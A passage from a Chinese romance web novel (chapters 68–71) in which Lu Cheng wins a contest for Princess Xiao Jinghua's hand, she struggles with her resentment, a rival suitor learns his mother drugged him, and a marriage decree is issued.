她走得极快,步伐坚定,从未回头。 阿史那苍张狂大笑,“你笑我,你又好得到哪去?” “我们都一样,一样的求而不得!” 他笑着笑着,高大的身躯骤然后仰。 “三王子!” 北夷人蜂拥而上,着急忙慌接住自家主子。 余晖从陆埕脸上爬过,似风雨飘摇中坚。挺自燃的残烛,被窗外涌进的冷风带走了最后一丝光亮。 他阖上双眼。 第68章 “殿下,陆大人胜了。” 钟文颇有些不可置信。 萧长瑾望向擂台上那人,目光复杂,藏着浅淡的艳羡。 “走吧。” …… “大人!” 孟年再也忍不住,飞扑到擂台边。 抖着手试探陆埕鼻息,温热而微弱。 还好,还好。 还活着。 他肩膀瘫软,面含庆幸。 百姓们的窃语散在黄昏余晖中。 “没想到,竟然是陆大人胜了。” “我以前听说,是郡主一厢情愿,陆大人对她并无男女之情,怎的今日拼了命不要,也要赢下这场比武招亲?” “嚯,他们这些贵人间的事,咱们这些小老百姓怎么知道?” 北夷使臣匆匆带着阿史那苍离开,天色渐晚,又没了热闹,百姓们四散而去,口中却还对今日这场比武招亲津津乐道。 恭亲王起身,缓缓步下富朝楼。 礼官与他见了礼,寒暄几句,便要回宫禀报。 恭亲王颔首。 这时,汤正德带着一队王府侍卫赶来了。 “王爷,这这、都比完了?” 他望着擂台上的陆埕,惊疑不定,“赢的人……是陆大人?”恭亲王剜他一眼。 都结束了,还来做什么? 他没好气道:“你来的路上没撞见婧华?” 汤正德愣愣摇头。 恭亲王:“……” 他梗着脖子又瞪他一眼,瞥着陆埕,语气不怎么好,“好歹也是本王未来的‘女婿’,还不快送陆大人回府,再请个太医去瞧瞧?” “女婿”二字语气极重,说得情不甘意不愿的。 汤正德“诶”一声,忙带着人帮孟年抬起晕厥过去的陆埕。 恭亲王又瞧了眼,随后扭头回府。 …… “婧华怎么走得这样快。” 谢瑛皱眉不解。 甚至一句话都没来得及与她们说。 云慕筱摇摇头。 她起身,对江妍卿颔首,“江姐姐,我与阿瑛先回府了。” 江妍卿:“好。” 温婵姿起身,与二人一道下楼。 “姿娘,我们送你回去吧。”谢瑛热情道。 唇瓣刚张开一条缝,余光瞥到一人,温婵姿指着某处,笑着摇头,“我坐了马车来的。” 她挥挥手,潇洒转身,“走了。” 目送她登上马车,云慕筱回首与谢瑛对视,“走吧,我们也回。” “云三姑娘留步。”腰佩长剑的年轻统领拦住她,恭敬道:“殿下有请。” 云慕筱抬眸。 檐下,男子锦衣玉冠,笑若清风,恰如朗月入怀。 …… 晚霞在裙摆跳跃,萧婧华越走越快。 “郡主,您慢些!” 箬竹几人在身后追赶,“当心摔着了!” 予安和觅真分别跃上长街两旁的屋檐,时刻注意着萧婧华的动向。 她走得极快,裙裾似红莲,随着步伐在足下绽放。 长袖摆动,腕上两串珊瑚细镯不时闪现,碰撞间发出清脆的叮铃声。 迈入恭亲王府大门,萧婧华忽略对她请安的守卫,闷头回了春栖院。 进了屋,她顿住。 箬竹箬兰气喘吁吁地追了上来,予安觅真一个回到树上,一个跃上屋檐。 “郡主……?”箬兰喘着气,满怀疑惑。 “没事。” 萧婧华背对着她们摇头,语气听不出异样,“我困了,现在不用伺候,放你们一日假,下去歇着吧。” 话音甫落,她飞快转身,将门阖上,顺手栓起。 站在紧闭的门前,箬竹箬兰面面相觑。 “现在怎么办?” 箬竹拉着她离开,“回屋吧,郡主歇下了。” 不知为何,她总觉得,萧婧华方才的情绪有些不对,可究竟是何处不对,她又说不上来。 没走几步,恭亲王迎面走来,开口便问:“郡主呢?” 箬竹箬兰行礼。 “禀王爷的话,郡主乏累,睡下了。” 恭亲王看了眼西边残阳,狐疑道:“这个点,不用饭就睡了?” 箬兰点头。 “算了。”恭亲王捏着眉心,“睡就睡吧,你们多看顾些,让厨房把饭温在灶上,等郡主醒来也好用。” 箬竹应声,“奴婢知道。” …… 隔着窗,外间谈话声清晰传入萧婧华耳中。听见恭亲王离开的脚步声,她蜷缩起身子,抱住双腿。 金钗在她上床时被拔出,随意扔在榻下。墨发似缎带,柔软地散在肩头,遮挡住半边雪白面容,难辨神色。 陆埕的脸不断在萧婧华脑中浮现。 他从容不惧走上擂台。 他被阿史那苍打得吐血。 他倒地不起,满身是伤。 双手逐渐收紧,指尖用力到泛白,裙子在她掌心皱成一团。 她想不通。 陆埕做这一切究竟是为了什么。 为什么宁可被打成那样,也要赢下这场比武招亲? 若是那十年情谊,倒也说得通。 可萧婧华忘不了陆埕最后看向她的目光。 多么熟悉啊,昔日,她用那样的眼神,看了他无数次。 他想证明什么? 证明他爱她? 可这有什么用?有什么用?!! 她爱他的时候,恨不得把所有珍视的,全部捧到他面前。 她期盼着得到他的回应,他的关怀,哪怕只有短短一句,也能让她心生欢喜。 他呢?一次又一次冷漠疏离,毫不犹豫的转身,可曾把她放在眼里? 如今她放弃了,不想再爱他,他又眼巴巴地凑上来,一副追悔不及,非她不娶的深情作态。 有意思吗? 非要在失去后才意识到爱她? 她受的三年委屈,只是为了让他后悔吗?!! 雪白脖颈青筋凸显,贝齿咬住下唇,萧婧华睁眼。 细密发丝挡住视线,眼前一片模糊。 什么云淡风轻,什么各自安好。 骗人的,全是骗人的!她萧婧华生来尊贵,是皇室的天之骄女,无人敢让她受此等委屈。 除了陆埕,只有陆埕。 拨开那层平静冷漠的假象,藏在内心深处的,是无法消散,汇聚了足足一千多个日子的恨意。 她恨陆埕冷漠。 恨他失约。 恨他让她等了无数次,却只能眼睁睁看着他离去。 她恨如今的陆埕,更恨记忆里,那个温柔体贴,事事以她为先,让她永远无法释怀的陆埕。 为什么要给她温暖,到最后,却又拒人千里? 如果做不到矢志不移,倒不如从一开始,就不要救她。 蓄在眼里的水珠终于还是落了。 陆埕。 我恨你。 …… 阳光顺着窗棂照射进来,在空中投射出几条光柱。 榻上的人眼皮下的眼珠子动了动,旋即睁眼。 怔怔望着熟悉的床帐,宁拓脑袋放空了片刻。萧婧华的面容在眼前掠过,他猛地回神,翻身下床,迎着光,大步走向门口。 门打不开。 宁拓眉头皱起,大力拍打房门。 “来人,这门怎么锁了?保福?辛志?你们跑哪儿去了?还不快给我开门!” 匆忙的脚步声渐近,保福隔着紧闭大门,小声问道:“小公爷,您醒了?” 宁拓听了他的声音,更是来气,“你跑哪儿躲懒去了?赶紧给我开门。今日郡主比武招亲,我答应了她会替她赢下这场比试。” 一旁的辛志紧张地咽了口唾沫,小心道:“小公爷,郡主比武招亲……已经是昨日的事了。” “……您睡了整整一日。” “你说什么?” 宁拓僵住。 脑海里回忆着昨日发生的一切。 娘给他送了碗参汤,祝他能迎娶心上人。 然后呢? 他晕倒在地,不省人事。 宁拓的脸色难看无比。 那汤里,掺了药。 “是老夫人让你们把我锁住的?” 保福怯道:“是。” 怒气翻涌,宁拓将门拍得“哐哐”直响,喝道:“给我把门打开!我娘呢,我要见她!” “小公爷,老夫人也是一片良苦用心。”辛志苦口婆心劝道:“郡主的亲事已成定局,您着急也没用,先冷静冷静。” “我冷静不了!” 宁拓怒喝。 明明出发前,娘那般慈祥地祝愿他得胜归来,可转头她就给他下了药。 那是郡主啊,他爱慕的郡主。 他怎么能看着她远嫁北夷? 宁拓失控拍门,嗓音嘶吼,“我让你把门打开!” 保福吓了一跳,无措地看着辛志。 “开门,放他出来。” 辛志犹疑间,背后有人沉声道。 他转身,“老夫人。” 宁国公夫人带着仆从走进院子,眉间冷漠,“没听小公爷吩咐?放他出来。” 辛志:“喏。” 他从袖中掏出钥匙,绕过几条手臂粗的铁链,开了锁。 “啪嗒”一声后,门后之人等不及,直接破门而出。 抬头望着对面的母亲,宁拓神色痛苦,“娘,我不喜欢邹姑娘,不会娶她。我心里的人是郡主,你为什么要这么做?究竟是为什么?!” 宁国公夫人平声道:“琅华郡主,不是你的良人。” “你怎么知道她不是我的良人?” “她进了土匪窝,失了清白,配不上你。”宁国公夫人道:“邹家姑娘冰清玉洁,管家有方,父亲仕途顺遂,可为良配。” 宁国公夫人温声劝道:“拓儿,娶了邹家姑娘,对你来说百利无一害。” 宁拓不可置信地看着母亲,“娘,你在说什么?” “郡主被山匪劫走不是她的错,我也不在乎那所谓的清白。百姓们议论,那是他们无知愚蠢,可你怎么也这么迂腐?” 宁国公夫人瞪大眼,“拓儿,你说娘迂腐?” 她眼里涌出泪,“我好不容易把你和你妹妹拉扯大,费尽心思为你们着想,可你竟然说娘迂腐?” “是。”宁拓握拳应声,“郡主高贵出尘,就算是配不上,也是我配不上她。” “娘。”他抬眸,“爹死后,您把那所谓的贞洁看得太重了。如果当初您听表舅的话改嫁……” “啪!” 宁国公夫人狠狠扇了宁拓一巴掌,恨声道:“我既嫁给了你爹,就一辈子是他的人。逆子,你怎么能说出这样的话?!” 这一掌极重,宁拓白皙的侧脸顿时有巴掌印显现。 他摸了摸,深深吸气,看着双目含泪的宁国公夫人,沉声道:“我去找郡主。” “你不准去!”宁国公夫人厉声,“你别以为我不知道,什么陆侍郎,北夷的三王子,包括你,都被她迷得团团转。一个水性杨花的女人,你究竟看上她什么了?!” 宁拓动了动唇,把气咽下,快步从她身旁掠走。 “来人,去把小公爷给我绑回来!”宁国公夫人尖叫着,眼泪止不住地流。 她伏在嬷嬷肩上,哭得伤心。 “孽子,我为了他殚精竭虑半辈子,他怎么能说出这样的话……” …… 宁拓甩开追来的辛志与保福,飞奔至宁国公府大门。 无视守卫,他连马也忘了骑,往恭亲王府的方向奔去。 昨夜郡主没见到他人,会不会很失望? 他要见她,向她解释。 他们一起商量,如何才能不让她嫁去北夷。 跑出巷口,握着长枪的一队禁军护着马车从他眼前走过。 百姓们围在四周,神色惊奇,带着看热闹的兴奋。 前路被人堵住,宁拓艰难穿梭在人群中。 耳畔飘来谈话声,似乎是“郡主”“陆大人”“赐婚”一类的词。 宁拓察觉到不对,拉住一名男子,“你们在说什么?” 那人平白被人拦住,略带烦躁地扫了宁拓一眼。 “还能是什么?当然是郡主和陆大人的婚事。方才那队伍,便是去宣赐婚圣旨的。” 宁拓怔住。 “你说什么?” 第69章 送走传旨的公公,陆夫人亲手将圣旨送入祠堂供奉,随后进了陆埕的屋子。 脚步轻缓进了里间,她摇了摇趴在床榻边打瞌睡的孟年,轻声道:“回屋去睡吧。” 孟年脑袋一点一点,闻声猛地惊醒,揉了揉眼睛。 昨日送陆埕回来,他就一直守着,到现在还没歇息过。 “那夫人,我先去眯一会儿。” 陆夫人叫住他,“灶上温着粥,你多少吃点再去睡。” 孟年打着哈欠,“好。” 房门嘎吱一声关上,陆夫人坐到床边,凝着陆埕横贯青紫的脸。 指腹轻轻碰了碰,见昏睡的陆埕眉头不觉拧起,她没好气地戳了一下。 架势看着足,其实没用多大力气。 “你这不省心的。” 陆夫人忽地红了眼,音色里添了哽意,瞪着陆埕道:“早知如此,何必当初?” 泪珠滴在陆埕露在外头的手背上,陆夫人掉了泪,自责道:“你从小。便懂事,高中过后,我再没管过你,原以为是个省心的,没成想比你弟弟还不如。” “怪我,倘若我当初多关注你几分,说不定也不会变成现在这样。” 捏着陆埕手腕,将他的手放进被子里,陆夫人摸了摸他鬓发,悄悄转身出去。 刚到门口,身后响起轻微的闷哼声,陆夫人急急折返,对上一双浅黑色瞳仁,惊喜道:“阿埕,你醒了。” 陆埕哑声,“娘。” “诶。” 陆夫人上前扶住他,“躺着别动,你伤重,当心磕着碰着。” “你饿不饿,娘让殷姑给你弄点吃的。” 许久不见娘亲这般体贴,陆埕颇有些受宠若惊,“我不……” 两个字吐出,胸前骤然一阵剧痛,疼得他直冒冷汗。不仅如此,全身上下都在叫嚣着疼痛。 陆夫人掏出帕子给他擦汗,“都让你别动别动,怎么这么不听话。” “那天杀的北夷三王子,硬生生把你骨头都给打断了好几根。”陆夫人红着眼道:“得亏你命大,只是去了半条命,不然你老娘我还得白发人送黑发人。” “娘还年轻,怎么就白发了?”陆埕忍着痛,语速极慢,艰难出声。 陆夫人擦着眼角湿润,白他一眼。 “礼部尚书来探望过了,让你先养伤,伤好后再去上值。你这情况至少也得将养两个月,不过有陛下、太子和王府送来的药材补品,应该能好得再快些。” 陆埕问出了自己最想知道的。 “她呢?” 陆夫人顿了顿,只是道:“赐婚圣旨下了,婧华……” 迎着陆埕微亮的眸光,她叹了声气,“没来。” 陆埕眸光暗淡,垂下眼睫,盖住眼中失落。 “阿埕,听娘一句劝,若是婧华愿嫁,你踏踏实实,本本分分和她过日子,你们之间的事,娘什么都不问,也不管。”陆夫人劝道:“若她不愿,也莫强求。” 陆埕阖上眼,喃声,“娘,我困了。” 这死样! 陆夫人瞪他,没好气道:“行,困了你就睡。” 懒得瞧他那张固执的脸。 …… 圣旨送到后,萧婧华望着上头名字,怔怔发呆,半晌回不过神。 箬竹整理着书架,偶尔回头看她一眼,不免担忧。 良久,萧婧华揉了揉太阳穴,心烦道:“收起来吧。” 箬兰“诶”一声,小心翼翼地捧起圣旨,妥帖收好。 今日天不错,萧婧华闷在屋里难免烦躁,让箬兰陪着去园子里逛逛。 这个时节百花凋残,枯叶飘零,除了红枫与几色菊花,不剩多少艳色。 萧婧华本就心情不虞,瞧了这满园凄凉秋景,更是心生燥意。 她拂袖转身,“回吧。” 隔着枯枝残叶,有道绿色身影匆匆而来。 夏菱快步行至萧婧华身前,“郡主,宁小公爷求见。” 听见这个名字,萧婧华两道细眉拧起,明显不快,“他来做什么?” 夏菱摇头,“小公爷没说,神色瞧着倒是有些焦急。” 萧婧华不想见他。 宁拓眼里那抹坚决确实令她动容,可这丝特殊的情绪,早在昨日便散了。 她讨厌言而无信,让她等待的人。 “去回了,本郡主不见。” 她越过夏菱,径直往春栖院走。 “诶。” 回了春栖院,萧婧华让人在院里放把椅子,吃着点心喝着茶,看小丫鬟们踢毽子。 欢声笑语传出院墙,夏菱仓促而归,无奈道:“郡主,宁小公爷不肯走。他说,他可以解释昨日失约一事。” 脸上好不容易浮现的笑容顿时撂下。 萧婧华不耐。 这人烦不烦,既然已经失约,事情也已落下帷幕,他现在说这些,又有什么用? 他解释了,时光就能回溯到昨日? 萧婧华冷漠道:“他想当门神,就让他当去。” 夏菱只好折返。 “等等。”萧婧华叫住她,“算了,让他进来吧。” 还是把话说清楚,免得下次再来纠缠。 夏菱:“好。” 她走后,萧婧华挥手让小丫鬟们退下,目光一扫,箬兰将碟子凑到她手边。 捻起一块桂花糕咬下,香甜味溢满整个口腔。 萧婧华不紧不慢地吃完一整块桂花糕,又喝了盏茶,这才起身。 她走得极慢,端详着府内风景,步调悠闲。 几乎在她踏入厅堂的一刹那,里头的人便站了起来,紧张唤道:“郡主。” 萧婧华冷淡颔首,“你想解释什么?” 触及她眸中冷色,宁拓心口一缩。 往常郡主看他时,虽也没带多少暖意,但目光从未这般冰冷过。 他缓着闷痛,低声道:“昨日临走之前,我的母亲她……给我喝了碗参汤。里边……掺着迷药。” 宁拓闭眼,“我晕了一整夜,将将才醒。” “郡主,我不是有意的。”少年着急解释,眉宇之间堆砌着焦灼。 萧婧华蹙眉凝视他。 她能感觉得出,宁拓并没说谎。可这个理由对她来说,并不比失约好多少。 自从逃离匪窝,萧婧华便知道,这京里有的是人想看她笑话。 那些人表面对她恭敬有加,温和有礼,背后里,还不知怎么嫌她厌她。 只要不当着她的面表露嫌弃,她并无所谓。 世上蠢人这么多,她要是个个都搭理,早晚把自己累死。 宁国公夫人或许也是这样的人,也或许,只是属意那邹家姑娘做儿媳,对她并不满意。 但不管是什么原因,在这一刻,她都不关心了。 宁国公夫人既然不愿自己儿子和她搭上关系,那她就如她所愿。只是终究有些失望。 萧婧华平静道:“本郡主知道了。宁小公爷本就与我毫无干系,来与不来,皆无大碍。” “赐婚圣旨已下,来日本郡主成婚之时,看着相识一场的份上,会记得给小公爷送张请帖。” 她说,他们毫无干系。 宁拓似是承受不住,面色惨白着倒退。 “你、你当真要嫁给陆埕?” 长睫微掀,眼尾泄出几丝轻嘲,萧婧华反问:“不然呢?陛下亲笔赐婚,我还能抗旨不尊不成?” “既然已经解释清楚了,小公爷便回吧,本郡主就不送了。” 萧婧华转身,“箬兰,送客。” 箬兰做“请”的手势,“小公爷,请吧。” 宁拓怔怔望着萧婧华离开的背影。 秋日万物凋零,她一身梅红,是这暗淡天地间最亮丽的色彩。 桃之夭夭,灼灼其华。① 可从今往后,那朵桃花,再也不会降临到他的世界。 他好不容易得来的希望,被他的母亲亲手掐灭。 …… 放下赐婚一事,萧婧华准备找个时间去寻陆埕,和他说清,等阿史那苍带着北夷使臣离京,他们便解除婚约。 但她现在不愿见他,只好先将此事搁置。 蒲草居原本该在崇宁帝万寿后两日开业,但因萧婧华的事,硬是给耽搁了。 温婵姿这些日子又是招工又是租赁院子做胭脂,这般辛苦,萧婧华着实不忍。 和云慕筱几人选了个黄道吉日,蒲草居便开业了。 那日着实热闹,噼里啪啦的爆竹声中夹杂着孩童欢快的笑声。京中著名戏班子在铺子外搭了台,咿咿呀呀唱个不停,引得无数喝彩。 萧婧华财大气粗,买了许多饴糖,凡是路过铺子的人皆有份。 她到时,正瞧见一名身着素衣的姑娘满脸笑意地发糖。 从记忆中调出她的名字,萧婧华迟疑唤道:“思思?”姑娘回头,露出一张精致无暇的脸,唇畔仍有笑意停留。 她卸去钗环,只用一根简单的玉簪绾发,脸上的妆容并不重,只描了眉,双颊抹了胭脂,带着淡淡粉色,白里透红,气色极好。 与初见时的冷淡疏离到仿佛不入尘世不同,此刻的她气质很是宁和,似卸去了某种负担。 思思把糖递给路人,含笑上前,“郡主。” 萧婧华欣喜,“你赎身了?” “是。”思思点头,“不止是我,芳琇和丹晴也为自己赎了身。还要多谢郡主给了我们不同选择。”她开着玩笑,“往后,我们可都要靠郡主过活了。” “是靠我这个掌柜的才对。” 温婵姿不知何时出来的,靠着门框,眸光淡淡看着萧婧华。 萧婧华失笑,“不错,是要靠温掌柜。” 温婵姿哼声。 “走吧,先进去。” 云慕筱已经到了,不止是她,敬国公府的姑娘们几乎都在。 萧婧华又见到了那眼睛生得很是漂亮,名唤云慕亭的少女。 她歪着头,水汪汪的眼睛亮晶晶地盯着架子上的胭脂。 因云慕筱事先打过招呼,姑娘们见了萧婧华,或是露出笑,或是轻轻颔首,并未大张旗鼓施礼。 与身旁的云慕清低声说了几句,云慕筱走到萧婧华身旁,嗓音带笑,“今日的生意瞧着还不错。” 女客在姑娘们的指引下试着自己喜欢的胭脂,井然有序,可见训练有加。 萧婧华在她们中看见了丹晴。 与思思不同,她的妆容极盛,额心一点桃花钿,朱唇红艳,大气明艳。丹晴热情介绍手中口脂,好几位女客围在她身边,觑着她的妆容,表情很是心动。 “这才第一日,往后有的温掌柜操心呢。”萧婧华调侃。 接待客人的温婵姿忙里偷闲听了一耳朵,回头冲她翻了个白眼。 萧婧华笑了笑,继续往里走。没见着谢瑛,她问:“阿瑛呢?” “咦?”云慕筱举目四望,“方才还在,这会儿跑哪儿去了?” “该不会又是凑热闹去了吧。”萧婧华猜测。 “算了。”云慕筱无奈摇头,“随她去吧。” 丹晴介绍的是芳琇新做的口脂,萧婧华拉着云慕筱站在一旁,听她舌灿莲花。 正听得起劲,袖子忽然被人扯动。 她垂首。 身着鹅黄襦裙,梳着双髻,玉雪可爱的小姑娘站在她面前,眨巴着一双大眼睛。 “哪儿来的小女孩?”箬兰弯腰,柔声询问:“你爹娘呢?” 小姑娘指了指外头,软声软气道:“姐姐,那边有人找你。” 第70章 云慕筱恰好听见动静偏头,不由疑惑。 “何人寻你?为何自己不来,偏找个小姑娘带话。” 萧婧华向外看去。 长街熙熙攘攘,人影幢幢,台上旦角浓妆艳裹,咿咿呀呀唱出喜庆唱词,台下百姓眉飞色舞,笑纹深刻,喝彩似浪,一声比一声高。 小姑娘笑容甜美,去拉萧婧华的手。 “姐姐,和我走吧。” 箬竹忙拦住小姑娘的手,把她柔软肉嘟嘟的小手放进手心,柔声问道:“小妹妹,是谁要见姐姐?” 小姑娘脆生生地说:“是一个长得很好看的哥哥!他说,我要是带姐姐过去,就给我糖葫芦!” 长得很好看的哥哥? 箬竹箬兰面面相觑。 谁啊? 萧婧华蹙眉思索谁要见她。 陆埕不太可能,阿史那苍也不可能,难不成是宁拓? 怎么阴魂不散的。 她耷拉着眉眼,尽量让语气柔软些,“小妹妹,姐姐我不想去。” “为什么呀?”小姑娘嘟起嘴,松开箬竹的手,两只小手拉住萧婧华的裙子左右摇晃,嗓音极软,“姐姐,你就去一趟嘛,好不好?去嘛去嘛。” 萧婧华颇有些头疼地揉着额角,“你想吃糖葫芦,我给你买,想要多少买多少。” “可是我就想要那个哥哥手里的糖葫芦。”小姑娘噘嘴,“姐姐,你帮帮我嘛,你陪我去见哥哥,我把我的葫芦送给你。” 她松开萧婧华,从腰上挂着的小布兜里取出一枚玉葫芦,双手举起,眼睛亮晶晶的,“看,是超级好看的葫芦呀!” 那葫芦由翡翠制成,清透亮眼,成色极好。 小姑娘不由分说地把葫芦塞进萧婧华手里,漂亮的眼睛里藏着狡黠,“收下我的礼物,我就当你答应啦!” 她生得好看,又古灵精怪的,着实让人难以拒绝。 云慕筱心中生软,见萧婧华犹疑,不由道:“不如我替你去一趟?” “算了。”萧婧华叹气,“见个人罢了,又不是上刀山下火海,我去就是了。” 小姑娘听了这话,顿时原地蹦了两下,欢呼出声,“耶!” 萧婧华看她一眼,对箬竹箬兰道:“你们陪着筱筱,让予安觅真随我去。” “好。” 小姑娘牵住萧婧华的手,迫不及待拉她出门。 予安觅真紧随其后。 绕过戏台子,小姑娘带萧婧华进了道巷子。 予安觅真手不觉放在腰间剑柄上,浑身警戒。 “来了吗来了吗?” 里头响起一道清亮焦急的男声。 这个声音…… 萧婧华意外,“阿旸?怎么是你?” 身着红衣的少年从巷内走出,眉清目秀,俊朗非凡。 他对着萧婧华笑,“婧华姐。” 脑后马尾随着动作摇晃。 予安和觅真对视一眼,收回动作。 萧婧华没好气道:“你想见我,怎么还神神秘秘的。” 陆旸摸着后脑勺嘿嘿笑。 “哥哥!我的糖葫芦!” 小姑娘松开萧婧华的手,扑到陆旸面前抱住他双腿,眼神渴望。 “在这儿呢。” 陆旸扬了扬手中油纸,从里取出一根糖葫芦,柔声对小姑娘道:“慢点吃。” 那糖葫芦与一般的不太一样,除了山楂,还有其他的果子,花花绿绿的,瞧着还挺好看,怪不得那小姑娘心心念念想要。 小姑娘接过糖葫芦,迫不及待伸出小舌头舔了一口,随后弯着眼笑,“谢谢哥哥,我去找爹娘啦。” 她转过身,蹦蹦跳跳着走了。 萧婧华偏头低声对觅真道:“送她回去,要亲眼看着她回到爹娘身边。” 觅真点头,足尖一跃,飞快追上那小东西。 陆旸好奇看她一眼,收回目光,把油纸递给萧婧华,“姐,这个给你,拿回去分给各位姐姐。” 萧婧华感受了下重量,还挺重的。 交给身后的予安,她抱着手,“你叫我出来,就是为了给我这个?” 怀疑地扫了陆旸一眼,萧婧华冷哼,“如果是关于你哥的,那就闭嘴,别说出来惹我心烦。” “没事说我哥作甚?”陆旸摆摆手,凑近萧婧华,小心询问:“姐,你那铺子里,是不是有敬国公府的姑娘?” 听他不说陆埕,萧婧华面色好了不少,“你问这个做什么?” “那、那三房的亭姑娘,是不是也在?”陆旸连声追问。 瞧着他眉目扭捏,萧婧华心中一动,“你和云六姑娘……” 少年俊秀白皙的侧脸泛了红,似清透玉石上落了桃花。他拧着眉,苦恼道:“我之前惹她生气,怕她不想见我,只好让姐帮我个忙。” 陆旸从袖中取出一物,“这是我亲手为她编的手钏,劳烦婧华姐帮我转交给她。” 少年骨节分明的手上挂着一根红绳,编织细密,底下缀着一颗桃子形状的物什,看不出是什么材质,但上色很是漂亮,均匀光滑,明显是用了心的。 萧婧华拿在手里,“行。” 陆旸笑容灿烂,“谢谢姐!” “瞧你那出息。”萧婧华哼一声,转身欲走。 “姐。”陆旸还是没忍住问出来,“你和我哥的婚事……” “婚事?让他去做梦。” 萧婧华撂下一句,毫不留情给他一个背影。 陆旸挠头,同情他哥两息,旋即满怀期待地注视着蒲草居的方向。 人潮汹涌,喧声震耳。 萧婧华蹙眉避开行人,目光落在某处,骤然一顿。 高马尾少女双手环胸,身姿挺立,脸上神情期待中怀着跃跃欲试。 她对面的人神色淡然,仿佛对她的话丝毫提不起兴趣,目光随意落在捏面人的摊子上,虚虚发着愣。 阿瑛怎么会和仰玉成站在一起? 萧婧华疑惑。 正想看清,人影一晃,已寻不见那二人的身影。 她蹙了蹙眉,往前两步。 阴影落下,有人挡在了她面前。 萧婧华抬头。 墨发成辫,身着胡服的异族人操着一口不怎么熟练的官话,语速极慢,“郡主,我们王子有请。” …… 院子里种着合欢树,落叶飘零,剩几片残叶孤零零挂在树梢。苍鹰独立枝头,黄色眼睛向下瞥了来人一眼,扑腾两下双翅,站在枝桠上闭目养神。 翅膀触碰到枝头残叶,那叶子终于坠落,轻飘飘的在空中旋转,旋即平铺在地。 凉风拂过,残叶飘至来人足下。 少女裹了裹身上披风,踩过满地落叶,走过庭院。 门口两名守卫为她开了门。 屋内并未点香,窗棂大开着,有股说不出的冷意。 她轻声开口,“三王子不好好养伤,跑这儿来作甚?” 纱帐曳地轻摇,影影绰绰间露出后头人影。 那北夷人撩起帘子,随后便退了出去,顺手将门关上。 萧婧华看着对面的人。 男人半躺在躺椅上,腰间搭着羊毛毯,上身领口与衣袖处镶了圈兔毛,面色看不出如何,只是眉目恹恹,精神不太好,连那双绿眸都暗淡了不少。 可当他抬眸时,又令萧婧华怀疑,方才那一瞬的脆弱只是她的错觉。 分明还是那个不可一世的北夷三王子。 阿史那苍问:“你当真要嫁?” 怎么又是这个问题。 萧婧华不耐,“当然。” 阿史那苍定定看了她许久,眼里的含义萧婧华看不懂,只是下意识警惕地往后退了步。 脚底刚踩实,便听那人倏尔笑得笃定。 “我不信。”“圣旨已下,难不成我还能抗旨不尊?”萧婧华反问。 阿史那苍取下指上扳指,拿在手里把玩。 红玉在麦色长指间穿梭,竟有种奇异美感。 “盛朝皇帝是你亲伯父,一桩婚事而已,对他来说不过是提笔的事。再者,小金花,你当真以为我不知那日擂台上的都是些什么人?” 阿史那苍望着手上扳指,唇畔扯出一抹笑,“暗卫、将军……我不信他舍得将你嫁给藉藉无名的暗卫。你们打的,也是将我打败后解除婚约的主意吧。” 萧婧华面色淡淡。 阿史那苍叹气,“我本想着,你是他们的掌上明珠,不舍也正常。他们不愿,那我便堂堂正正把你赢回来,可没想到,最后关头竟杀出一个陆埕。” “但这人,我倒是没那么担心了。” 阿史那苍语气肯定,“你不会嫁。” 萧婧华勾唇,笑意不达眼底,“你怎知我不会嫁?” “阿娜曾说我的性子‘宁为玉碎不为瓦全’,小金花,我们是一样的人。”头靠在椅子上,阿史那苍凝着萧婧华,“虽不知你们因何决裂,但我能看出,你不会回头。” 萧婧华寒着脸,“你以为你很了解我?” “不。”阿史那苍摇头,指了指双眼,“我有眼睛,看得出来。” “我会在京城停留很长一段时间,小金花,我希望,你能认真地,考虑考虑我。” 他将扳指戴回手上,拄着头,偏头看她。 藏在袖下的手微微收紧,萧婧华掀眸,对上阿史那苍瑰丽璀璨,含着浓浓笑意的绿眸。 …… 陆旸焦急地拨开人群,四处睃巡。 熟悉的身影闯入视野,他松了口气,大步迈前,转瞬走到萧婧华面前,急声道:“姐,你方才去哪儿了?” 天知道他刚刚紧紧盯着蒲草居大门,转个眼就不见萧婧华身影是个什么心情。 一瞬间,几乎把所有不好的事想了个遍。但瞧着跟在萧婧华身后的觅真,陆旸又觉得是自己想多了。 有这能人在,哪能让婧华姐随随便便被人掳走啊。 刚想着,予安回来了,瞧了眼萧婧华的脸色,不解地看向觅真。 后者对她摇头。 萧婧华启唇,“把那小姑娘送回去了?” 予安:“嗯。” 她确认一遍,“确定那是她的父母?” 予安:“是。她的母亲与她很像。” 那便好。 萧婧华教训陆旸,“往后别再随便在大街上找小姑娘,万一人家父母以为自己孩子被拍花子骗走了怎么办?” 陆旸委屈,“是她自己闻到糖葫芦的味找上来的。” “那也不行。” 陆旸委委屈屈地,“哦。” 萧婧华瞥他,“行了,等着吧,我去给你心上人送礼。” “对了,让你哥伤好后立刻滚来王府提亲。” 陆旸大喜,“好。” 听完之后,他的笑僵住,定格成一个扭曲又滑稽的表情,“什么?” 70-80 第71章 陆旸还想再问,然而萧婧华已经带着人进了蒲草居。 将手放在后脖颈上轻轻挠了挠,他满脸的不解。 方才不是还让他哥去做梦么?怎么转头就改变了主意? 少女的背影极快消失在门内,陆旸幽幽长叹一声。 姑娘心,海底针啊, …… 久不见萧婧华归来,云慕筱正要出去寻,转眸便瞧见她的身影。 迎上去握住萧婧华的手,她问:“怎么去了这么久?” “有些事耽搁了。” 萧婧华埋下所有复杂的情绪,对她笑了下,从觅真手里拿过糖葫芦递出去,“喏。” 她选了一根,又给谢瑛留了根,剩下的让予安她们分了。 “筱筱,你六妹妹呢?” 云慕筱小口咬了颗糖葫芦含进嘴里。 糖衣“咔嚓”一声碎了,甜味在口腔里炸开,往下一咬,山楂肉微酸,两者混合倒是中和了那股酸味。 还挺好吃的。 咽下口中的糖葫芦,她指了个方向,“在那边选蔷薇露。好端端的问她做什么?” 萧婧华神秘眨眼,“待会儿与你说。” 云慕筱又咬下一颗糖葫芦。 她看着萧婧华走向云慕亭,小姑娘受宠若惊地红了脸,略有些不知所措。 萧婧华将糖葫芦递给她,随后又从袖中拿出一条手钏。 云慕亭接过手钏,一双鹿眼几乎弯成了月牙。也不知萧婧华说了什么,她一张小圆脸瞬间跟枝头柿子似的红透了,眼睛里盛着羞赧与喜悦,道了谢,拿着糖葫芦便往外头跑,直接将侍女和蒲草居的姑娘撇在后头。 云慕筱吃着糖葫芦,好奇问:“你和六妹妹说了什么?” 萧婧华笑话她,“你家妹妹情窦初开,你这做姐姐的竟然一点也没发觉?” “?” 云慕筱惊了,险些被呛住。 “你慢些。”萧婧华忙替她顺着后背。 缓了一会儿,云慕筱仍是震惊,“慕亭她、她……” 